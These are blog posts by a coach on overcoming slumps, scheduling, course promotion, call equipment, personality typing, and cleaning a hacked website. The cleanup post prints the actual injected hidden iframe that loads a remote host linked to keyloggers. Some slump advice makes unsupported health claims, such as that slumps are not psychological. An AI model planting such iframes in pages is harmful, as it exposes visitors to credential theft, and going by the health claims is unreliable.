If and when this is caused by lifestyle, it is easier to manage the life style part than start manipulating the chemical imbalance with chemicals.

Those that work hard, often keep working until they burn out. It is best to take frequent mini-vacations, an afternoon off, a whole weekend off,

So, don’t do this. Set specific goals, accomplish them, and then reward yourself by taking the rest of the night off to relax. When you come back to your work, you’ll be happy and refreshed.

Keep regular sleeping hours, make sure you stop and do some physical exercises every day, go light on coffee... etc.

9. Visit a New Place. Make a quick turn into a side-street and visit a part of town you have never seen. Doing the same thing, day in and day out, with its monotony, works against you in times of slump. Break away and go, visit an new spot... look at things with a new eye, drop in to a church, a museum, walk through the woods, alone or with a friend. It doesn't have to be long. If it is too long, probably it won't be energizing. Sneak in a little enjoyment into your life.
I have been dealing with my slump after chugging along without a break for 5-6 weeks. So today I went and visited a store, then I stopped and talked to an old friend I hadn't talked to in years. I will make a traditional Jewish Saturday meal... I haven't done this in years, and I am excited.

10. If you still have enough clarity, reexamine what you are doing and re-focus yourself. My experience as a coach, that when you are clear enough, you are in the last 10% of the slump... so this is not a good advice when you are in the thick of it. In the thick of it, the best course of action is to return to the goals, tasks, projects that you were working on BEFORE you started to slide.

11. This is a MUST: Schedule Things. Make sure you have a daily calendar with enough space on it to schedule 15-30 minute tasks. Rather than Letting Things Happen to You. Don’t allow your schedule to morph into an unpredictable, unmanageable blob. Take frequent energizer breaks, if possible, break up everything into 15-30 minute chunks. This method with give you more satisfaction, and you won't be taken over by gravity.
Take the time to make a list of things you need to do, put them onto your calendar, and check them off as they are done. Don't neglect stuff... tendency is to hide from stuff... but the stuff can bite you in the a-s-s, so pay attention. You don't have the luxury to take a break from life. This will prevent disasters and things will get done, in small bite size chunks.

12. Physical Activity. The cause of slumps is not psychological. Lack of physical exercise will leave us in a mental fog. Schedule some vigorous exercise. Pay much attention that when you are in a slump, your breathing becomes shallow, and that contributes to the fog. Do arm and shoulder exercises that open your breath... pay attention. The other element is your hear rate: exercises that elevate your heart rate will wash away the cobwebs, and give you much needed endorphins. Do this every day, and if possible, several times a day. 5-10 minutes will do miracles.

13. Eliminate Pessimistic Thoughts. Avoid pessimistic people. Stop watching the news and reading the newspaper. Don't listen to hard rock and rap... they all lower your vibration, and life force. Redirect your thoughts from I can't to "how can I?"

14. Give yourself creative Challenges. We tend to resort to maintenance when we are in a slump: and maintenance is not energizing, and you can't win at it.
Build something new, try something new, then do it fast. Faster than you can think. Turn of thinking and just do. Enter contests, or if there is none around, create one for yourself. Reward yourself for every challenge won.

15. Give yourself deadlines. Work towards them as if you life depended on your performance. If you can't force yourself, then schedule a trip out of town, a hard and fast launch date, etc. When that project is due in two days, you buckle down, stay focused, and get it done. But when you have unlimited time, you probably won't focus your energies and won't accomplish anything.

16. Change Your Diet. Sugar, certain carbs, (including fruits), stimulants, junk food contribute to your yoyo experience and foggy mind. So does smoking. There is plenty of proof that the serotonin/dopamine delicate balance depends on what you put in your mouth, how and when you sleep, and whether you use stimulants or you exercise instead. Removing the offending items from your diet at least temporarily will start you on the road out of the hole.

17. Ask for help in structuring your project: don't forget, in times like this you are not the sharpest tool in the tool box.

Spend a Day to Improve Your Productivity. Productivity is the speed with which you accomplish the right result. Spend some time to clarify the right action and the right productivity methods.

18. Create small attainable bite size goals that are milestones of your big Goals. Spend time, preferably with a coach, creating the bite size projects that you can accomplish in a couple of hours instead of chugging along for days, weeks, not seeing an end to the project. Every win will increase your energy and lift your spirits.

19. Pick projects that are easy and cumulative. Ask yourself: what is the next logical step? Start with the first step, and continue with the next step. Don't try to create systems when there is nothing yet you can put inside it.

20. Sleep regular hours. If necessary, force yourself to go to bed at a certain time and get up at a certain time. Violating this rule was probably crucial in getting you into the slump... committing to a schedule will get you out of it. So go to sleep and come back refreshed tomorrow. Don't oversleep, even if you feel tired. Or if you have insomnia, don't go to bed early... it will just make it worse. Keep to your schedule... your sleep mechanism will catch up with you. Promise.

21. Make an Effort to get out of your own head and pay attention to others: the worst thing you can do is to enter a monolog and a lone ranger path... Listen to Others. Take your attention away from your mood, and complaints, your own stories and struggles, and make an effort to hear and understand other people and their life. Learn from them, absorb their stories, and use them to motivate yourself.

22. Avoid looking for the magic bullet. There are no magic bullets, and looking for them is a distraction, much like alcohol, gambling, or any other deadly addictions.

No matter how depressed and indifferent you feel right now, you have the capabilities to break out of your slump.

Take an assortment of methods from above and start adding them to modify your life. Don't delay, every minute will cost you precious days in lost life in your business, aspirations, success, relationships.

The faster you start the faster you'll return to a happy, focused, motivated life that goes some place.

Leave this slump in your past; and return to your productive, happy life.

You probably keep on shooting at it until you hit it...

If you were more sophisticated, then you would make sure you track in which direction you missed it... left, right, down or up.

The next shot would be to compensate for the miss... and then after a little while of compensation you would be able to hit the target, reliably, and every time.

What happens if you react to your first miss because someone says... "that's garbage" by becoming depressed, withdrawn, giving up, sulking... however you react other than starting to bracket to find the target with your bullet.

Game is over. Right? Or maybe you are going to do this with another target, miss it, go into the reaction, maybe try a third target... and the story goes on and on.

I want you to be sophisticated, and consider, that no matter what anyone says, missing the target is just that: Missing the target. which should be your clue of starting the process of bracketing, compensating, until you get it right. You may have to do this with anything new you do, but there are only so many new things... and before you know it, you'll be successful.

One of the things I am learning that people relate to internet marketing learning like it is television. They consider that if they comprehended what they learned, that was actual learning.

In my future programs I plan to have the following price structure: price is per session. Example base price: $167 for the session. If you complete the assignment, and on time, I refund $100 of your tuition, so you paid $67 for your session. If not, you paid for your TV show...

I will call that: get paid for your results... or something like that.

Do you think it will motivate the participants? Share what you think in the comments section.

Here is a video that says it better than I could ever say. I bet you'll have several actions as soon as you watch it.

Does that mean I won't read my email, won't read ebooks, etc?

I am on the phone for about 8-10 hours a day... mostly on skype.

Does that mean I can't go to the bathroom without excusing myself? Does that mean that I grow a big behind... because of my "job"?

Many of my clients ask how I resolve these seemingly unrelated problems... because I sometimes talk to them on skype and they hear me going up or down stairs, without disconnecting: what equipment do I use so that I can sound good and stay mobile around my computer.

Well, it's taken me a ton of research, trial and error, but I have settled on some tools that seem to do the job well and reliably.

Tool #1: I use chat-cord to be able to connect and use a regular telephone on my computer.

This low cost gadget uses your computer's sound card and usb port to mediate between the telephone receiver's sounds, your speaking and your partner's speaking and the computer... i.e. you can talk and be able to record your voice or be heard on skype, and hear computer sounds, computer audio, and your skype partner's voice on your phone. (click on the image above for a bigger picture)

Tool #2: I use a Plantronics CT12 telephone with my chat-cord.

This phone can be bought on Amazon or on ebay for about 50-80 bucks. The battery is good for about 5 hours continuous speaking... amazing. I have 3 of these, and I can hot-swap them if I have a long day with no breaks between calls. If I have as short as 10-15 minutes between calls, the battery lasts for an entire day.

A problem with this phone is that your speaking is not loud enough, if you are softspoken like myself. Another problem is that a standard phone headset doesn't work well with this phone... why? I don't know.

I got lucky and I bought a headset designed for call-centers (all day use). It's a chameleon headset, over the head, binaural from Earshot Innovations, LLC. I bought it on ebay, and it's been a great buy, in spite of its price tag (I paid about 80 dollars, but it has a 2-year guarantee... ).

http://stores.shop.ebay.com/Ear-2-Ear-Headsets__W0QQ_armrsZ1

The above parts are how I listen and talk on the computer. In an upcoming article I will show how I record my calls, both on my computer and my phone... while I am walking in the house, or even go outside to take care of stuff.

Please comment on this post so I can see that there is an interest in this topic... ok?

I want to share something about the kind of life you live... because I want you to sign up to the 100 day challenge, so consider that I am selling you... shamelessly, pushing you, pressuring you: because it is that important.

So, here are the two main reasons that just came up in conversations with clients:

1. You don't know what you want. When you don't plan your life, other people will do it for you. And their plan is not much of anything for you... in fact, people will keep you in your status quo, if you let them do it.

How do you know that you have given the reigns to other people... after all you have a todo list, you have goals, etc. This is how I know: when I ask you when you are going to do something that's on your list, you look in your mind not on your calendar.

Anything that only lives on a list is a setup for an incompletion, a think that sits heavily on your conscience.

When you say: I should really clean my garage (for example) your mind hears that what you should be doing it right now is cleaning your garage. So you eat dinner while your mind says: you should be cleaning out your garage... and you get indigestion. You go to sleep and your mind says: you should be cleaning out your garage... so you sleep poorly.

When you put your commitments on a calendar, your mind allows you to do what you are doing, leaves you alone and in peace, unless (of course) you don't honor your calendar.

After a few weeks of putting everything on the calendar, and "uncommitting" from everything you don't intend to do... like visit Uncle Joe in  Tahiti, or some other unrealistic wish... you'll find that you'll sleep better, and will have the energy to do the things that you are really committed to do.

It is also easier to say to your mother in law, when she asks you to mow her lawn, that right now you have something else on your agenda, but will schedule it for Friday... or something like that.

Your relationship to yourself, your environment and your life will change dramatically.

2. The second reason you don't have the life you want is because you don't know what is running your life, behind your back.

I always say that the purpose of life, the reason we are born, is to change the movie script we came with.

The movie script is like a machinery that makes sure your life follows its dictates to the t.

The life-goal you've set goes in another direction.

Your movie script is going to win unless you unearth, with a good coach, what is running the script.

I have seen "I am a failure", "I am not smart enough", "people will always take advantage of me", "you can't trust", etc. etc. etc. etc. as the backbones of the movie scripts that win... unless the mechanism gets dismantled, and redirected to a healthier path.

The 100-day challenge is such an opportunity. My courses are such an opportunity. Don't wait another year. Start the process now. I beg you. Go there... http://www.sophieslist.com/goals

Email me with your receipt and I'll figure out a perfect gift for you... I don't know what you want, but I'll help you with that... a webinar, a recommendation, a good pdf... I have a lot of goodies. I care about you. Go. Now.

http://www.sophieslist.com/goals

In 1987, I was still working as an architect, I participated in a program called "More Time Workshop"

It was about 15 hours long. We learned very simple time and results management methods... so that wasn't what made the difference.

What made the difference, and I'll tell you in detail, in a minute, what the difference was... so what made the difference is that we had to promise to do everything we learned for 30 days, no days off...

It was simple: you had a short term, a middle range, and a long range goal. You needed to look at them every day and then create 5-7 actions for the day. Priorotize them, and then schedule them into your calendar.

At the end of the day go over your actions and see if you have done them or not. If not, move them to the next day, and schedule them.

Once a week look at a long list of "I always wanted to do this" items.

I found that after 30 days it was a no brainer. It did take an extra hour on my schedule to do this stuff, but

1. I slept better than ever
2. I had more energy and enthusiasm than ever before
3. Things got done.

What I invented for myself at the course was to become a magazine publisher. It was completely outside of my reach... By the end of 1988 I was a magazine publisher, and I published my publication for 11 years with great success, and I loved it. I got this result because I had a method to my life.

A 100-day challenge can do miracles, this is why I signed up to the 100-day challenge...

You can join me in it, if you want, you can do so till September 30. Here is the link: http://www.sophieslist.com/goals

If you sign up and email me, we could become a support group for each other... I can definitely help you!

Are you coming? Success is not waiting for anyone. http://www.sophieslist.com/goals

It is actually relatively easy, and I'll show you two methods, one with using ftp and the other using your file manager that comes with cpanel.

Hold on... I have a coaching client coming... I'll be back later this afternoon to show you step-by-step with screen shots... check back this afternoon... sorry for the interruption... OK?

Sorry... I am back.

Life got suddenly very busy... my students are suddenly producing results... yaaay.

Anyway, here are two ways to recognize and remove the iframes from your index pages.

Method 1: ftp.

ftp into your your site's root level and sort your documents by date.

you may notice that my index.php file was changed on September 5.

This is a blog, and you don't change the index file... ever. so this must have been the hackers' target.

Now, from the result you'll see that this wasn't a manual hacker, it was a little mindless robot sent out the wreak havoc...

the above index.php file is the healthy file that comes with your wordpress blog installation. it starts with <?php and ends with ?>

that is how it should be.

on the above index.php file, please observe the last line. after the closing ?> there is a whole line of code... that is the code you need to remove.

this is how the whole line looks... Save and upload your file and you are done.

The second category of files that got hacked are files that have body tags in them...  they can be both php or html files. the commonality is that they contain a body tag, that looks like this <body>

Sometimes after the <body there is other code, and then it closes with a > tag. It is still a starting body tag.

this is (above) how a healthy file looks with body tag

this is (above) how an infected file looks with body tag

you need to delete the line that has the iframe tag <iframe src..to <iframe>.

Third important thing: folder or directory dates also change when files change inside. So if you have subdirectories that have a newer date, please check the index files inside... I found 202 infected files, because my sites have many subdirectories.

Good luck, and please let me know how you are making out.
Was this enough information? Please talk back to me.

Though it has nothing to do with the recent iframe hack, because it effected every style of site, not just wordpress blogs, the article has a lot of good points, and you want to read it...

Trust me? Read it. here is the link: http://wordpress.org/development/2009/09/keep-wordpress-secure/

Let's call the type "I am so great, why no one is seeing it?" Or maybe let's call him Pete... why Pete?

Because some twenty years ago I had a fling with an alcoholic whose name was Pete. He was from Poland, and he spoke a little English. But when he was drunk he SPOKE a lot of Polish-English gibberish... and he was sure he just needed to drink and his English instantly improved.

So the type of coaching client, "Pete" shows the same characteristics.

He is always ready to be offended, when people treat him like he is less smart and less knowledgable that he is in his mind's eye.

His life is full of failures, full of dullness... his grand plans don't pan out, but it is never his fault. The plan was good, he was great, other people didn't understand him, didn't appreciate him.

He is not appreciative for help, instead he gets annoyed. What you give him is never good enough, he will turn around and redo it... even if the result is exactly the same.

If you are his teacher or his coach, he will always point out where you are teaching or coaching the wrong way.

In axiology¹ , which is the science of measured relationship to value, there is a distinction: clarity.

An applied axiology profile², based on a 20-minute simple exercise, can tell you a lot about you. It can tell you where you are strong, where you are weak, and what you can expect to fail at, and what to excel at. Amazing 20-30-40 page profiles come out of that little 20-min. test.

One of the things it bases its assessment on is your clarity on three different levels. On the intrinsic level, on the extrinsic level, and on the systemic level.³

Our Pete has a serious problem on the extrinsic level, the level of worldly value, what people are willing to pay for and what they aren't.

When you are crystal clear, have the highest level of clarity, you know exactly what the stuff you make is worth... a lot, or a little, doesn't matter. What matters in clarity, what matters is that you see a spade for a spade.

You can also be just clear, and you can be hazy, foggy, delusional, or as the science of axiology puts it "visible."

Our Pete is delusional. He has delusions of grandeur. And a life of disgruntlement, a life of being hurt, displaced, and failures.

In my years of coaching, 99% of Petes are males... I have only come across two Petettes :-) in the past 24 years.

Women, when they are unclear in this area, they suffer from lack of self esteem, even if they have good skills.

My own little brother is a Pete...

Are you a Pete? Or do you know one? Talk back to me!

1. the study of the nature, types, and criteria of values and of value judgments especially in ethics
2. http://www.thenewgame.com/axelrodlearning/samplereports.html
3. intrinsic level is the level of values like goodness, honesty, etc. i.e. the "godly" values. extrinsic level is the level of worldliness, something has use value, like a good taste, a nice smell, a fast car, good looks, a comfortable chair... something you would spend money on... Systemic is the on/off switch type of value and is highly cultural, good/bad, moral/immoral, right/wrong, true/false judgments live on this level

When we just look at someone, we already know what they are capable of... or do we? We "see" that they are not cut out to have their own business because... and after that "because" there is a series of words, like they don't have vision, they work to much and don't have time to make money, etc.

Let's look at what is the underlying truth about all that instant insight.

We all come with different strengths... it could be said, they are inclinations. They are approaches to life and to challenges. When left to our own devices, we always do things the same way... good or bad, effective or not, we say "it should work" then it doesn't.

That secret inclination is called conation. the word is archaic, but the meaning isn't.

Not knowing about it has caused countless failures, so listen up.

Let's look at conation from a new point of view to shed light of what's wreaking havoc on your business, ok?

Each company needs a ceo. A ceo's job is to hold the vision of the company and its direction. His job is to know what to do to accomplish the company's goal.

The ceo looks at the company, and the world from his 22nd floor penthouse office, and sees the big picture, sees the connection between stuff... That's the ceo. He is the strategist, or the general of this war...

A company with just a ceo will not go far... and the penthouse office will soon be taken away.

The next job that needs to be filled is the job of a manager. The manager's job is to translate the ceo's vision into doable steps. Tactics are the domain of the manager. Timelines are the domain of the manager. Hiring the right staff is the domain of the manager. Keeping deadlines, answering questions... busy, busy, busy.

A company with just a ceo and a manager will not get much done either.

The next player in this game is the worker, who translates the how to and tactics and what have you, that the manager throws at them.

They build, they correct, they execute, they love to get things done.

Now, we are getting there... these three can make things happen.

But don't hurry just yet: there is a need for another player, because without that player the company will soon get into a rut. That player is the innovator, the maverick of the company, the mad scientist, the one without any sense of time, any sense of money... better keep him in a straight jacket...

Believe or not, each human has these four characters battling it out...

But the strength of these characters is different.

For some, the mad scientist runs the show... we all know people like that. I am one of them... ha-ha-ha... (that was supposed to be the eerie laugh of the mad scientis echoing fromt he empty walls of the dark corridors of the company after midnight when everyone is at home in their bed, but the scientist is roaming those corridors pondering his new breakthrough idea...)

Many others have a great upper management team, but no one to get the work done, and no one to innovate.

One of my students has an even distribution of strengths, but he is so chatty and so enamoured with the latest and greatest guru product, by the time he needs his ceo to tell the rest of the staff what to do, this ceo part of his is so exhausted, that the manager needs to take over.

What happens if and when the manager makes the decisions, predominantly?

Imagine that the task is to put up a sign on a wall. The ceo knows which wall, but leaves the  how to part to the manager.

But if there is no effective ceo, the manager will make the decision based on his criteria: he will pick the wall that is easiest to scale, that is closest to the workers, that is unobstructed by stuff, etc.

The result: there will be a sign on a wall... but the wrong wall. The company's vision is lost... or jeopardized. Time and resources spent on the wrong thing... a net loss.

Well, we can see this happening with this student of mine: he makes decisions based on: I can do it... or that sounds good, or I can afford it... and proceeds building a system that sounds good, but doesn't fit into the big picture, or goes in a totally different direction.

If you were a company: what kind of company would you be?

Make sure you let your voice heard. The best of the answers will win a one-on-one session with me... worth $250... minimum.

I checked immediately for an attack, and found that all the index.php and index.html files were altered an 18:46 EST, and a line of code was added either after the starting body tag or at the very end of the code

<iframe src="http://a6t.homeftp.net:8080/ts/in.cgi?open" width=230 height=0 style="visibility: hidden"></iframe>

do not go there...

I googled the topic and found that some Russian hackers have created keylogger sites and the keylogger scripts get all your passwords.

If it is an individual site: your password was compromised.

I have sites on other servers, like this site, and none of those were attacked. I think it is Hostgator that is compromised... so if you have a site on hostgator, please check your index files... and clean them.

I hear in Italy tens of thousands of computers are infected... as a result of the iframe hack that effects every site, but especially wordpress blogs.

http://forums.digitalpoint.com/showthread.php?t=901622

http://wordpress.org/support/topic/277277

This time the database isn't attacked, only the files. It seems that they get to the sites with ftp... if you can, please change your ftp and cpanel login. I am planning on removing my sites from hostgator.com

Watch what happened after just one month of bootcamp type training to this bunch of bozos...

Webinar Crusher 2.0, Robert Plank and Lance Tamashiro's just graduating another class...

I had MY 90-min webinar yesterday... want to see what I did? Go and sign up to my notification list at http://www.faststartsecrets.com

Sophie,

Awesome...this was very engaging, well done and informative. I've got to pull out my Kolbe analysis to see
what my scores are again. Thanks for the reminder.

I didn't see your website address on the screen to know where to go to enroll.

thanks,
William

or this is what one of my students, Jill had to say

jrthoreson: Thank you Sophie! It was a wonderful presentation! Innovative Stuff! You are going to be famous and I can say, I was one of her first students. Boy am I the lucky onejrthoreson: We really need to drive traffic to your squeeze page jrthoreson: they can get your webinar! teachers will want it... jrthoreson: gurus are going to be wanting your methods!! jrthoreson: no, it's going to make a difference in the way internet marketers...but all learning is done

If you have time, go and watch my classmates' 90-min presentations on webinar... you'll be equally impressed.

http://webinarcrusher.com/summit/

Software, ebooks, reports, whole programs. Most of them are still in their wrappers or collecting "dust" on my computer.

Some, on the other hand are used and used and used.

I found something just like that this past week.

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I love it. I have already got my eyes on some sites to get traffic from for an affiliate program that I had a hard time getting more traffic for. I would have had a hard time finding those sites, or it would have cost me hours of frustration to find them.

I'll probably make a Camtasia video to show how to benefit from it in the smartest way...

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